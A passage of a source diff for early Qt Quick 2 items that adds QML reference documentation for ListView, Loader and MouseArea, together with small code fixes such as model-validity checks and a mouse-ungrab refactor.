+ This property holds the effective layout direction of the horizontal list.
+
+ When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts,
+ the visual layout direction of the horizontal list will be mirrored. However, the
+ property \l {ListView::layoutDirection}{layoutDirection} will remain unchanged.
+
+ \sa ListView::layoutDirection, {LayoutMirroring}{LayoutMirroring}
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::ListView::keyNavigationWraps
+ This property holds whether the list wraps key navigation.
+
+ If this is true, key navigation that would move the current item selection
+ past the end of the list instead wraps around and moves the selection to
+ the start of the list, and vice-versa.
+
+ By default, key navigation is not wrapped.
+*/
+
+
+/*!
+ \qmlproperty int QtQuick2::ListView::cacheBuffer
+ This property determines whether delegates are retained outside the
+ visible area of the view.
+
+ If this value is non-zero, the view keeps as many delegates
+ instantiated as it can fit within the buffer specified. For example,
+ if in a vertical view the delegate is 20 pixels high and \c cacheBuffer is
+ set to 40, then up to 2 delegates above and 2 delegates below the visible
+ area may be retained.
+
+ Note that cacheBuffer is not a pixel buffer - it only maintains additional
+ instantiated delegates.
+
+ Setting this value can improve the smoothness of scrolling behavior at the expense
+ of additional memory usage. It is not a substitute for creating efficient
+ delegates; the fewer elements in a delegate, the faster a view can be
+ scrolled.
+*/
+
+
+/*!
+ \qmlproperty string QtQuick2::ListView::section.property
+ \qmlproperty enumeration QtQuick2::ListView::section.criteria
+ \qmlproperty Component QtQuick2::ListView::section.delegate
+
+ These properties hold the expression to be evaluated for the \l section attached property.
+
+ The \l section attached property enables a ListView to be visually
+ separated into different parts. These properties determine how sections
+ are created.
+
+ \c section.property holds the name of the property that is the basis
+ of each section.
+
+ \c section.criteria holds the criteria for forming each section based on
+ \c section.property. This value can be one of:
+
+ \list
+ \o ViewSection.FullString (default) - sections are created based on the
+ \c section.property value.
+ \o ViewSection.FirstCharacter - sections are created based on the first
+ character of the \c section.property value (for example, 'A', 'B', 'C'
+ sections, etc. for an address book)
+ \endlist
+
+ \c section.delegate holds the delegate component for each section.
+
+ Each item in the list has attached properties named \c ListView.section,
+ \c ListView.previousSection and \c ListView.nextSection. These may be
+ used to place a section header for related items.
+
+ For example, here is a ListView that displays a list of animals, separated
+ into sections. Each item in the ListView is placed in a different section
+ depending on the "size" property of the model item. The \c sectionHeading
+ delegate component provides the light blue bar that marks the beginning of
+ each section.
+
+
+ \snippet examples/declarative/modelviews/listview/sections.qml 0
+
+ \image qml-listview-sections-example.png
+
+ \note Adding sections to a ListView does not automatically re-order the
+ list items by the section criteria.
+ If the model is not ordered by section, then it is possible that
+ the sections created will not be unique; each boundary between
+ differing sections will result in a section header being created
+ even if that section exists elsewhere.
+
+ \sa {declarative/modelviews/listview}{ListView examples}
+*/
QSGViewSection *QSGListView::sectionCriteria()
{
Q_D(QSGListView);
@@ -1315,12 +1736,35 @@ QSGViewSection *QSGListView::sectionCriteria()
return d->sectionCriteria;
}
+/*!
+ \qmlproperty string QtQuick2::ListView::currentSection
+ This property holds the section that is currently at the beginning of the view.
+*/
QString QSGListView::currentSection() const
{
Q_D(const QSGListView);
return d->currentSection;
}
+/*!
+ \qmlproperty real QtQuick2::ListView::highlightMoveSpeed
+ \qmlproperty int QtQuick2::ListView::highlightMoveDuration
+ \qmlproperty real QtQuick2::ListView::highlightResizeSpeed
+ \qmlproperty int QtQuick2::ListView::highlightResizeDuration
+
+ These properties hold the move and resize animation speed of the highlight delegate.
+
+ \l highlightFollowsCurrentItem must be true for these properties
+ to have effect.
+
+ The default value for the speed properties is 400 pixels/second.
+ The default value for the duration properties is -1, i.e. the
+ highlight will take as much time as necessary to move at the set speed.
+
+ These properties have the same characteristics as a SmoothedAnimation.
+
+ \sa highlightFollowsCurrentItem
+*/
qreal QSGListView::highlightMoveSpeed() const
{
Q_D(const QSGListView);
@@ -1382,6 +1826,27 @@ void QSGListView::setHighlightResizeDuration(int duration)
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::ListView::snapMode
+
+ This property determines how the view scrolling will settle following a drag or flick.
+ The possible values are:
+
+ \list
+ \o ListView.NoSnap (default) - the view stops anywhere within the visible area.
+ \o ListView.SnapToItem - the view settles with an item aligned with the start of
+ the view.
+ \o ListView.SnapOneItem - the view settles no more than one item away from the first
+ visible item at the time the mouse button is released. This mode is particularly
+ useful for moving one page at a time.
+ \endlist
+
+ \c snapMode does not affect the \l currentIndex. To update the
+ \l currentIndex as the list is moved, set \l highlightRangeMode
+ to \c ListView.StrictlyEnforceRange.
+
+ \sa highlightRangeMode
+*/
QSGListView::SnapMode QSGListView::snapMode() const
{
Q_D(const QSGListView);
@@ -1397,6 +1862,28 @@ void QSGListView::setSnapMode(SnapMode mode)
}
}
+
+/*!
+ \qmlproperty Component QtQuick2::ListView::footer
+ This property holds the component to use as the footer.
+
+ An instance of the footer component is created for each view. The
+ footer is positioned at the end of the view, after any items.
+
+ \sa header
+*/
+
+
+/*!
+ \qmlproperty Component QtQuick2::ListView::header
+ This property holds the component to use as the header.
+
+ An instance of the header component is created for each view. The
+ header is positioned at the beginning of the view, before any items.
+
+ \sa footer
+*/
+
void QSGListView::viewportMoved()
{
Q_D(QSGListView);
@@ -1432,8 +1919,12 @@ void QSGListView::viewportMoved()
pos = viewPos + highlightEnd - d->highlight->size();
if (pos < viewPos + highlightStart)
pos = viewPos + highlightStart;
- d->highlightPosAnimator->stop();
- static_cast<FxListItemSG*>(d->highlight)->setPosition(qRound(pos));
+ if (pos != d->highlight->position()) {
+ d->highlightPosAnimator->stop();
+ static_cast<FxListItemSG*>(d->highlight)->setPosition(pos);
+ } else {
+ d->updateHighlight();
+ }
// update current index
if (FxViewItem *snapItem = d->snapItemAt(d->highlight->position())) {
@@ -1527,6 +2018,15 @@ void QSGListView::geometryChanged(const QRectF &newGeometry, const QRectF &oldGe
}
+/*!
+ \qmlmethod QtQuick2::ListView::incrementCurrentIndex()
+
+ Increments the current index. The current index will wrap
+ if keyNavigationWraps is true and it is currently at the end.
+ This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
void QSGListView::incrementCurrentIndex()
{
Q_D(QSGListView);
@@ -1538,6 +2038,15 @@ void QSGListView::incrementCurrentIndex()
}
}
+/*!
+ \qmlmethod QtQuick2::ListView::decrementCurrentIndex()
+
+ Decrements the current index. The current index will wrap
+ if keyNavigationWraps is true and it is currently at the beginning.
+ This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
void QSGListView::decrementCurrentIndex()
{
Q_D(QSGListView);
@@ -1566,7 +2075,7 @@ void QSGListView::updateSections()
void QSGListView::itemsInserted(int modelIndex, int count)
{
Q_D(QSGListView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->model || !d->model->isValid())
return;
d->updateUnrequestedIndexes();
d->moveReason = QSGListViewPrivate::Other;
@@ -1706,7 +2215,7 @@ void QSGListView::itemsInserted(int modelIndex, int count)
void QSGListView::itemsRemoved(int modelIndex, int count)
{
Q_D(QSGListView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->model || !d->model->isValid())
return;
d->moveReason = QSGListViewPrivate::Other;
d->updateUnrequestedIndexes();
@@ -1803,7 +2312,7 @@ void QSGListView::itemsRemoved(int modelIndex, int count)
void QSGListView::itemsMoved(int from, int to, int count)
{
Q_D(QSGListView);
- if (!isComponentComplete())
+ if (!isComponentComplete() || !d->isValid())
return;
d->updateUnrequestedIndexes();
@@ -1926,6 +2435,72 @@ void QSGListView::itemsMoved(int from, int to, int count)
d->layout();
}
+/*!
+ \qmlmethod QtQuick2::ListView::positionViewAtIndex(int index, PositionMode mode)
+
+ Positions the view such that the \a index is at the position specified by
+ \a mode:
+
+ \list
+ \o ListView.Beginning - position item at the top (or left for horizontal orientation) of the view.
+ \o ListView.Center - position item in the center of the view.
+ \o ListView.End - position item at bottom (or right for horizontal orientation) of the view.
+ \o ListView.Visible - if any part of the item is visible then take no action, otherwise
+ bring the item into view.
+ \o ListView.Contain - ensure the entire item is visible. If the item is larger than
+ the view the item is positioned at the top (or left for horizontal orientation) of the view.
+ \endlist
+
+ If positioning the view at \a index would cause empty space to be displayed at
+ the beginning or end of the view, the view will be positioned at the boundary.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the list does not cause all other items to be repositioned, and because
+ the actual start of the view can vary based on the size of the delegates.
+ The correct way to bring an item into view is with \c positionViewAtIndex.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end:
+
+ \code
+ Component.onCompleted: positionViewAtIndex(count - 1, ListView.Beginning)
+ \endcode
+*/
+
+/*!
+ \qmlmethod QtQuick2::ListView::positionViewAtBeginning()
+ \qmlmethod QtQuick2::ListView::positionViewAtEnd()
+
+ Positions the view at the beginning or end, taking into account any header or footer.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the list does not cause all other items to be repositioned, and because
+ the actual start of the view can vary based on the size of the delegates.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end on startup:
+
+ \code
+ Component.onCompleted: positionViewAtEnd()
+ \endcode
+*/
+
+/*!
+ \qmlmethod int QtQuick2::ListView::indexAt(int x, int y)
+
+ Returns the index of the visible item containing the point \a x, \a y in content
+ coordinates. If there is no item at the point specified, or the item is
+ not visible -1 is returned.
+
+ If the item is outside the visible area, -1 is returned, regardless of
+ whether an item will exist at that point when scrolled into view.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
QSGListViewAttached *QSGListView::qmlAttachedProperties(QObject *obj)
{
diff --git a/src/declarative/items/qsgloader.cpp b/src/declarative/items/qsgloader.cpp
index ccf16896fb..999c174ee9 100644
--- a/src/declarative/items/qsgloader.cpp
+++ b/src/declarative/items/qsgloader.cpp
@@ -103,6 +103,115 @@ void QSGLoaderPrivate::initResize()
_q_updateSize();
}
+/*!
+ \qmlclass Loader QSGLoader
+ \inqmlmodule QtQuick 2
+ \ingroup qml-utility-elements
+ \inherits Item
+
+ \brief The Loader item allows dynamically loading an Item-based
+ subtree from a URL or Component.
+
+ Loader is used to dynamically load visual QML components. It can load a
+ QML file (using the \l source property) or a \l Component object (using
+ the \l sourceComponent property). It is useful for delaying the creation
+ of a component until it is required: for example, when a component should
+ be created on demand, or when a component should not be created
+ unnecessarily for performance reasons.
+
+ Here is a Loader that loads "Page1.qml" as a component when the
+ \l MouseArea is clicked:
+
+ \snippet doc/src/snippets/declarative/loader/simple.qml 0
+
+ The loaded item can be accessed using the \l item property.
+
+ If the \l source or \l sourceComponent changes, any previously instantiated
+ items are destroyed. Setting \l source to an empty string or setting
+ \l sourceComponent to \c undefined destroys the currently loaded item,
+ freeing resources and leaving the Loader empty.
+
+ \section2 Loader sizing behavior
+
+ Loader is like any other visual item and must be positioned and sized
+ accordingly to become visible.
+
+ \list
+ \o If an explicit size is not specified for the Loader, the Loader
+ is automatically resized to the size of the loaded item once the
+ component is loaded.
+ \o If the size of the Loader is specified explicitly by setting
+ the width, height or by anchoring, the loaded item will be resized
+ to the size of the Loader.
+ \endlist
+
+ In both scenarios the size of the item and the Loader are identical.
+ This ensures that anchoring to the Loader is equivalent to anchoring
+ to the loaded item.
+
+ \table
+ \row
+ \o sizeloader.qml
+ \o sizeitem.qml
+ \row
+ \o \snippet doc/src/snippets/declarative/loader/sizeloader.qml 0
+ \o \snippet doc/src/snippets/declarative/loader/sizeitem.qml 0
+ \row
+ \o The red rectangle will be sized to the size of the root item.
+ \o The red rectangle will be 50x50, centered in the root item.
+ \endtable
+
+
+ \section2 Receiving signals from loaded items
+
+ Any signals emitted from the loaded item can be received using the
+ \l Connections element. For example, the following \c application.qml
+ loads \c MyItem.qml, and is able to receive the \c message signal from
+ the loaded item through a \l Connections object:
+
+ \table
+ \row
+ \o application.qml
+ \o MyItem.qml
+ \row
+ \o \snippet doc/src/snippets/declarative/loader/connections.qml 0
+ \o \snippet doc/src/snippets/declarative/loader/MyItem.qml 0
+ \endtable
+
+ Alternatively, since \c MyItem.qml is loaded within the scope of the
+ Loader, it could also directly call any function defined in the Loader or
+ its parent \l Item.
+
+
+ \section2 Focus and key events
+
+ Loader is a focus scope. Its \l {Item::}{focus} property must be set to
+ \c true for any of its children to get the \e {active focus}. (See
+ \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page}
+ for more details.) Any key events received in the loaded item should likely
+ also be \l {KeyEvent::}{accepted} so they are not propagated to the Loader.
+
+ For example, the following \c application.qml loads \c KeyReader.qml when
+ the \l MouseArea is clicked. Notice the \l {Item::}{focus} property is
+ set to \c true for the Loader as well as the \l Item in the dynamically
+ loaded object:
+
+ \table
+ \row
+ \o application.qml
+ \o KeyReader.qml
+ \row
+ \o \snippet doc/src/snippets/declarative/loader/focus.qml 0
+ \o \snippet doc/src/snippets/declarative/loader/KeyReader.qml 0
+ \endtable
+
+ Once \c KeyReader.qml is loaded, it accepts key events and sets
+ \c event.accepted to \c true so that the event is not propagated to the
+ parent \l Rectangle.
+
+ \sa {dynamic-object-creation}{Dynamic Object Creation}
+*/
+
QSGLoader::QSGLoader(QSGItem *parent)
: QSGImplicitSizeItem(*(new QSGLoaderPrivate), parent)
{
@@ -118,6 +227,19 @@ QSGLoader::~QSGLoader()
}
}
+/*!
+ \qmlproperty url QtQuick2::Loader::source
+ This property holds the URL of the QML component to instantiate.
+
+ Note the QML component must be an \l{Item}-based component. The loader
+ cannot load non-visual components.
+
+ To unload the currently loaded item, set this property to an empty string,
+ or set \l sourceComponent to \c undefined. Setting \c source to a
+ new URL will also cause the item created by the previous URL to be unloaded.
+
+ \sa sourceComponent, status, progress
+*/
QUrl QSGLoader::source() const
{
Q_D(const QSGLoader);
@@ -148,6 +270,28 @@ void QSGLoader::setSource(const QUrl &url)
d->load();
}
+/*!
+ \qmlproperty Component QtQuick2::Loader::sourceComponent
+ This property holds the \l{Component} to instantiate.
+
+ \qml
+ Item {
+ Component {
+ id: redSquare
+ Rectangle { color: "red"; width: 10; height: 10 }
+ }
+
+ Loader { sourceComponent: redSquare }
+ Loader { sourceComponent: redSquare; x: 10 }
+ }
+ \endqml
+
+ To unload the currently loaded item, set this property to an empty string
+ or \c undefined.
+
+ \sa source, progress
+*/
+
QDeclarativeComponent *QSGLoader::sourceComponent() const
{
Q_D(const QSGLoader);
@@ -270,6 +414,46 @@ void QSGLoaderPrivate::_q_sourceLoaded()
}
}
+/*!
+ \qmlproperty enumeration QtQuick2::Loader::status
+
+ This property holds the status of QML loading. It can be one of:
+ \list
+ \o Loader.Null - no QML source has been set
+ \o Loader.Ready - the QML source has been loaded
+ \o Loader.Loading - the QML source is currently being loaded
+ \o Loader.Error - an error occurred while loading the QML source
+ \endlist
+
+ Use this status to provide an update or respond to the status change in some way.
+ For example, you could:
+
+ \list
+ \o Trigger a state change:
+ \qml
+ State { name: 'loaded'; when: loader.status == Loader.Ready }
+ \endqml
+
+ \o Implement an \c onStatusChanged signal handler:
+ \qml
+ Loader {
+ id: loader
+ onStatusChanged: if (loader.status == Loader.Ready) console.log('Loaded')
+ }
+ \endqml
+
+ \o Bind to the status value:
+ \qml
+ Text { text: loader.status == Loader.Ready ? 'Loaded' : 'Not loaded' }
+ \endqml
+ \endlist
+
+ Note that if the source is a local file, the status will initially be Ready (or Error). While
+ there will be no onStatusChanged signal in that case, the onLoaded will still be invoked.
+
+ \sa progress
+*/
+
QSGLoader::Status QSGLoader::status() const
{
Q_D(const QSGLoader);
@@ -290,6 +474,23 @@ void QSGLoader::componentComplete()
d->load();
}
+/*!
+ \qmlsignal QtQuick2::Loader::onLoaded()
+
+ This handler is called when the \l status becomes \c Loader.Ready, or on successful
+ initial load.
+*/
+
+
+/*!
+\qmlproperty real QtQuick2::Loader::progress
+
+This property holds the progress of loading QML data from the network, from
+0.0 (nothing loaded) to 1.0 (finished). Most QML files are quite small, so
+this value will rapidly change from 0 to 1.
+
+\sa status
+*/
qreal QSGLoader::progress() const
{
Q_D(const QSGLoader);
@@ -328,6 +529,10 @@ void QSGLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
updatingSize = false;
}
+/*!
+ \qmlproperty Item QtQuick2::Loader::item
+ This property holds the top-level item that is currently loaded.
+*/
QSGItem *QSGLoader::item() const
{
Q_D(const QSGLoader);
diff --git a/src/declarative/items/qsgmousearea.cpp b/src/declarative/items/qsgmousearea.cpp
index b35c14624a..7d86d2e248 100644
--- a/src/declarative/items/qsgmousearea.cpp
+++ b/src/declarative/items/qsgmousearea.cpp
@@ -85,7 +85,7 @@ void QSGDrag::resetTarget()
}
/*!
- \qmlproperty Item MouseArea::drag.dropItem
+ \qmlproperty Item QtQuick2::MouseArea::drag.dropItem
This property holds the item an active drag will be dropped on if released
at the current position.
@@ -115,7 +115,7 @@ void QSGDrag::setGrabItem(QSGItem *item)
}
/*!
- \qmlproperty variant MouseArea::drag.data
+ \qmlproperty variant QtQuick2::MouseArea::drag.data
This property holds the data sent to recipients of drag events generated
by a MouseArea.
@@ -234,7 +234,7 @@ void QSGDrag::setFilterChildren(bool filter)
}
/*!
- \qmlproperty stringlist MouseArea::drag.keys
+ \qmlproperty stringlist QtQuick2::MouseArea::drag.keys
This property holds a list of keys drag recipients can use to identify the
source or data type of a drag event.
@@ -272,7 +272,7 @@ void QSGMouseAreaPrivate::init()
q->setFiltersChildMouseEvents(true);
}
-void QSGMouseAreaPrivate::saveEvent(QGraphicsSceneMouseEvent *event)
+void QSGMouseAreaPrivate::saveEvent(QGraphicsSceneMouseEvent *event)
{
lastPos = event->pos();
lastScenePos = event->scenePos();
@@ -287,14 +287,14 @@ void QSGMouseAreaPrivate::forwardEvent(QGraphicsSceneMouseEvent* event)
event->setPos(q->mapFromScene(event->scenePos()));
}
-bool QSGMouseAreaPrivate::isPressAndHoldConnected()
+bool QSGMouseAreaPrivate::isPressAndHoldConnected()
{
Q_Q(QSGMouseArea);
static int idx = QObjectPrivate::get(q)->signalIndex("pressAndHold(QSGMouseEvent*)");
return QObjectPrivate::get(q)->isSignalConnected(idx);
}
-bool QSGMouseAreaPrivate::isDoubleClickConnected()
+bool QSGMouseAreaPrivate::isDoubleClickConnected()
{
Q_Q(QSGMouseArea);
static int idx = QObjectPrivate::get(q)->signalIndex("doubleClicked(QSGMouseEvent*)");
@@ -373,7 +373,65 @@ bool QSGMouseAreaPrivate::propagateHelper(QSGMouseEvent *ev, QSGItem *item,const
}
-/*
+/*!
+ \qmlclass MouseArea QSGMouseArea
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-interaction-elements
+ \brief The MouseArea item enables simple mouse handling.
+ \inherits Item
+
+ A MouseArea is an invisible item that is typically used in conjunction with
+ a visible item in order to provide mouse handling for that item.
+ By effectively acting as a proxy, the logic for mouse handling can be
+ contained within a MouseArea item.
+
+ For basic key handling, see the \l{Keys}{Keys attached property}.
+
+ The \l enabled property is used to enable and disable mouse handling for
+ the proxied item. When disabled, the mouse area becomes transparent to
+ mouse events.
+
+ The \l pressed read-only property indicates whether or not the user is
+ holding down a mouse button over the mouse area. This property is often
+ used in bindings between properties in a user interface. The containsMouse
+ read-only property indicates the presence of the mouse cursor over the
+ mouse area but, by default, only when a mouse button is held down; see below
+ for further details.
+
+ Information about the mouse position and button clicks are provided via
+ signals for which event handler properties are defined. The most commonly
+ used involved handling mouse presses and clicks: onClicked, onDoubleClicked,
+ onPressed, onReleased and onPressAndHold.
+
+ By default, MouseArea items only report mouse clicks and not changes to the
+ position of the mouse cursor. Setting the hoverEnabled property ensures that
+ handlers defined for onPositionChanged, onEntered and onExited are used and
+ that the containsMouse property is updated even when no mouse buttons are
+ pressed.
+
+ \section1 Example Usage
+
+ \div {class="float-right"}
+ \inlineimage qml-mousearea-snippet.png
+ \enddiv
+
+ The following example uses a MouseArea in a \l Rectangle that changes
+ the \l Rectangle color to red when clicked:
+
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml import
+ \codeline
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml intro
+
+ \clearfloat
+ Many MouseArea signals pass a \l{MouseEvent}{mouse} parameter that contains
+ additional information about the mouse event, such as the position, button,
+ and any key modifiers.
+
+ Here is an extension of the previous example that produces a different
+ color when the area is right clicked:
+
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml intro-extended
+
Behavioral Change in QtQuick 2.0
From QtQuick 2.0, the signals clicked, doubleClicked and pressAndHold have a different interaction
@@ -385,7 +443,149 @@ bool QSGMouseAreaPrivate::propagateHelper(QSGMouseEvent *ev, QSGItem *item,const
Note that to get the same behavior as a QtQuick 1.0 MouseArea{} with regard to absorbing all mouse events, you will
now need to add empty signal handlers for these three signals.
- */
+
+ \sa MouseEvent, {declarative/touchinteraction/mousearea}{MouseArea example}
+*/
+
+/*!
+ \qmlsignal QtQuick2::MouseArea::onEntered()
+
+ This handler is called when the mouse enters the mouse area.
+
+ By default the onEntered handler is only called while a button is
+ pressed. Setting hoverEnabled to true enables handling of
+ onEntered when no mouse button is pressed.
+
+ \sa hoverEnabled
+*/
+
+/*!
+ \qmlsignal QtQuick2::MouseArea::onExited()
+
+ This handler is called when the mouse exits the mouse area.
+
+ By default the onExited handler is only called while a button is
+ pressed. Setting hoverEnabled to true enables handling of
+ onExited when no mouse button is pressed.
+
+ The example below shows a fairly typical relationship between
+ two MouseAreas, with \c mouseArea2 on top of \c mouseArea1. Moving the
+ mouse into \c mouseArea2 from \c mouseArea1 will cause \c onExited
+ to be called for \c mouseArea1.
+ \qml
+ Rectangle {
+ width: 400; height: 400
+ MouseArea {
+ id: mouseArea1
+ anchors.fill: parent
+ hoverEnabled: true
+ }
+ MouseArea {
+ id: mouseArea2
+ width: 100; height: 100
+ anchors.centerIn: parent
+ hoverEnabled: true
+ }
+ }
+ \endqml
+
+ If instead you give the two mouseAreas a parent-child relationship,
+ moving the mouse into \c mouseArea2 from \c mouseArea1 will \b not
+ cause \c onExited to be called for \c mouseArea1. Instead, they will
+ both be considered to be simultaneously hovered.
+
+ \sa hoverEnabled
+*/
+
+/*!
+ \qmlsignal QtQuick2::MouseArea::onPositionChanged(MouseEvent mouse)
+
+ This handler is called when the mouse position changes.
+
+ The \l {MouseEvent}{mouse} parameter provides information about the mouse, including the x and y
+ position, and any buttons currently pressed.
+
+ The \e accepted property of the MouseEvent parameter is ignored in this handler.
+
+ By default the onPositionChanged handler is only called while a button is
+ pressed. Setting hoverEnabled to true enables handling of
+ onPositionChanged when no mouse button is pressed.
+*/
+
+/*!
+ \qmlsignal QtQuick2::MouseArea::onClicked(MouseEvent mouse)
+
+ This handler is called when there is a click. A click is defined as a press followed by a release,
+ both inside the MouseArea (pressing, moving outside the MouseArea, and then moving back inside and
+ releasing is also considered a click).
+
+ The \l {MouseEvent}{mouse} parameter provides information about the click, including the x and y
+ position of the release of the click, and whether the click was held.
+
+ The \e accepted property of the MouseEvent parameter is ignored in this handler.
+*/
+
+/*!
+ \qmlsignal QtQuick2::MouseArea::onPressed(MouseEvent mouse)
+
+ This handler is called when there is a press.
+ The \l {MouseEvent}{mouse} parameter provides information about the press, including the x and y
+ position and which button was pressed.
+
+ The \e accepted property of the MouseEvent parameter determines whether this MouseArea
+ will handle the press and all future mouse events until release. The default is to accept
+ the event and not allow other MouseArea beneath this one to handle the event. If \e accepted
+ is set to false, no further events will be sent to this MouseArea until the button is next
+ pressed.
+*/
+
+/*!
+ \qmlsignal QtQuick2::MouseArea::onReleased(MouseEvent mouse)
+
+ This handler is called when there is a release.
+ The \l {MouseEvent}{mouse} parameter provides information about the click, including the x and y
+ position of the release of the click, and whether the click was held.
+
+ The \e accepted property of the MouseEvent parameter is ignored in this handler.
+
+ \sa onCanceled
+*/
+
+/*!
+ \qmlsignal QtQuick2::MouseArea::onPressAndHold(MouseEvent mouse)
+
+ This handler is called when there is a long press (currently 800ms).
+ The \l {MouseEvent}{mouse} parameter provides information about the press, including the x and y
+ position of the press, and which button is pressed.
+
+ The \e accepted property of the MouseEvent parameter is ignored in this handler.
+*/
+
+/*!
+ \qmlsignal QtQuick2::MouseArea::onDoubleClicked(MouseEvent mouse)
+
+ This handler is called when there is a double-click (a press followed by a release followed by a press).
+ The \l {MouseEvent}{mouse} parameter provides information about the click, including the x and y
+ position of the release of the click, and whether the click was held.
+
+ If the \e accepted property of the \l {MouseEvent}{mouse} parameter is set to false
+ in the handler, the onPressed/onReleased/onClicked handlers will be called for the second
+ click; otherwise they are suppressed. The accepted property defaults to true.
+*/
+
+/*!
+ \qmlsignal QtQuick2::MouseArea::onCanceled()
+
+ This handler is called when mouse events have been canceled, either because an event was not accepted, or
+ because another element stole the mouse event handling.
+
+ This signal is for advanced use: it is useful when there is more than one MouseArea
+ that is handling input, or when there is a MouseArea inside a \l Flickable. In the latter
+ case, if you execute some logic on the pressed signal and then start dragging, the
+ \l Flickable will steal the mouse handling from the MouseArea. In these cases, to reset
+ the logic when the MouseArea has lost the mouse handling to the \l Flickable,
+ \c onCanceled should be used in addition to onReleased.
+*/
QSGMouseArea::QSGMouseArea(QSGItem *parent)
: QSGItem(*(new QSGMouseAreaPrivate), parent)
{
@@ -397,6 +597,25 @@ QSGMouseArea::~QSGMouseArea()
{
}
+/*!
+ \qmlproperty real QtQuick2::MouseArea::mouseX
+ \qmlproperty real QtQuick2::MouseArea::mouseY
+ These properties hold the coordinates of the mouse cursor.
+
+ If the hoverEnabled property is false then these properties will only be valid
+ while a button is pressed, and will remain valid as long as the button is held
+ down even if the mouse is moved outside the area.
+
+ By default, this property is false.
+
+ If hoverEnabled is true then these properties will be valid when:
+ \list
+ \i no button is pressed, but the mouse is within the MouseArea (containsMouse is true).
+ \i a button is pressed and held, even if it has since moved out of the area.
+ \endlist
+
+ The coordinates are relative to the MouseArea.
+*/
qreal QSGMouseArea::mouseX() const
{
Q_D(const QSGMouseArea);
@@ -409,6 +628,12 @@ qreal QSGMouseArea::mouseY() const
return d->lastPos.y();
}
+/*!
+ \qmlproperty bool QtQuick2::MouseArea::enabled
+ This property holds whether the item accepts mouse events.
+
+ By default, this property is true.
+*/
bool QSGMouseArea::isEnabled() const
{
Q_D(const QSGMouseArea);
@@ -424,6 +649,22 @@ void QSGMouseArea::setEnabled(bool a)
}
}
+/*!
+ \qmlproperty bool QtQuick2::MouseArea::preventStealing
+ This property holds whether the mouse events may be stolen from this
+ MouseArea.
+
+ If a MouseArea is placed within an item that filters child mouse
+ events, such as Flickable, the mouse
+ events may be stolen from the MouseArea if a gesture is recognized
+ by the parent element, e.g. a flick gesture. If preventStealing is
+ set to true, no element will steal the mouse events.
+
+ Note that setting preventStealing to true once an element has started
+ stealing events will have no effect until the next press event.
+
+ By default this property is false.
+*/
bool QSGMouseArea::preventStealing() const
{
Q_D(const QSGMouseArea);
@@ -440,6 +681,23 @@ void QSGMouseArea::setPreventStealing(bool prevent)
}
}
+/*!
+ \qmlproperty MouseButtons QtQuick2::MouseArea::pressedButtons
+ This property holds the mouse buttons currently pressed.
+
+ It contains a bitwise combination of:
+ \list
+ \o Qt.LeftButton
+ \o Qt.RightButton
+ \o Qt.MiddleButton
+ \endlist
+
+ The code below displays "right" when the right mouse buttons is pressed:
+
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml mousebuttons
+
+ \sa acceptedButtons
+*/
Qt::MouseButtons QSGMouseArea::pressedButtons() const
{
Q_D(const QSGMouseArea);
@@ -682,7 +940,7 @@ void QSGMouseArea::hoverLeaveEvent(QHoverEvent *event)
setHovered(false);
}
-void QSGMouseArea::mouseUngrabEvent()
+void QSGMouseArea::ungrabMouse()
{
Q_D(QSGMouseArea);
if (d->pressed) {
@@ -700,6 +958,11 @@ void QSGMouseArea::mouseUngrabEvent()
}
}
+void QSGMouseArea::mouseUngrabEvent()
+{
+ ungrabMouse();
+}
+
bool QSGMouseArea::sendMouseEvent(QGraphicsSceneMouseEvent *event)
{
Q_D(QSGMouseArea);
@@ -794,6 +1057,12 @@ void QSGMouseArea::timerEvent(QTimerEvent *event)
}
}
+void QSGMouseArea::windowDeactivateEvent()
+{
+ ungrabMouse();
+ QSGItem::windowDeactivateEvent();
+}
+
void QSGMouseArea::geometryChanged(const QRectF &newGeometry,
const QRectF &oldGeometry)
{
@@ -821,6 +1090,17 @@ void QSGMouseArea::itemChange(ItemChange change, const ItemChangeData &value)
QSGItem::itemChange(change, value);
}
+/*!
+ \qmlproperty bool QtQuick2::MouseArea::hoverEnabled
+ This property holds whether hover events are handled.
+
+ By default, mouse events are only handled in response to a button event, or when a button is
+ pressed. Hover enables handling of all mouse events even when no mouse button is
+ pressed.
+
+ This property affects the containsMouse property and the onEntered, onExited and
+ onPositionChanged signals.
+*/
bool QSGMouseArea::hoverEnabled() const
{
return acceptHoverEvents();
@@ -834,16 +1114,26 @@ void QSGMouseArea::setHoverEnabled(bool h)
setAcceptHoverEvents(h);
emit hoverEnabledChanged();
- if (d->hovered != isUnderMouse())
- setHovered(!d->hovered);
}
+
+/*!
+ \qmlproperty bool QtQuick2::MouseArea::containsMouse
+ This property holds whether the mouse is currently inside the mouse area.
+
+ \warning This property is not updated if the area moves under the mouse: \e containsMouse will not change.
+ In addition, if hoverEnabled is false, containsMouse will only be valid when the mouse is pressed.
+*/
bool QSGMouseArea::hovered() const
{
Q_D(const QSGMouseArea);
return d->hovered;
}
+/*!
+ \qmlproperty bool QtQuick2::MouseArea::pressed
+ This property holds whether the mouse area is currently pressed.
+*/
bool QSGMouseArea::pressed() const
{
Q_D(const QSGMouseArea);
@@ -859,7 +1149,26 @@ void QSGMouseArea::setHovered(bool h)
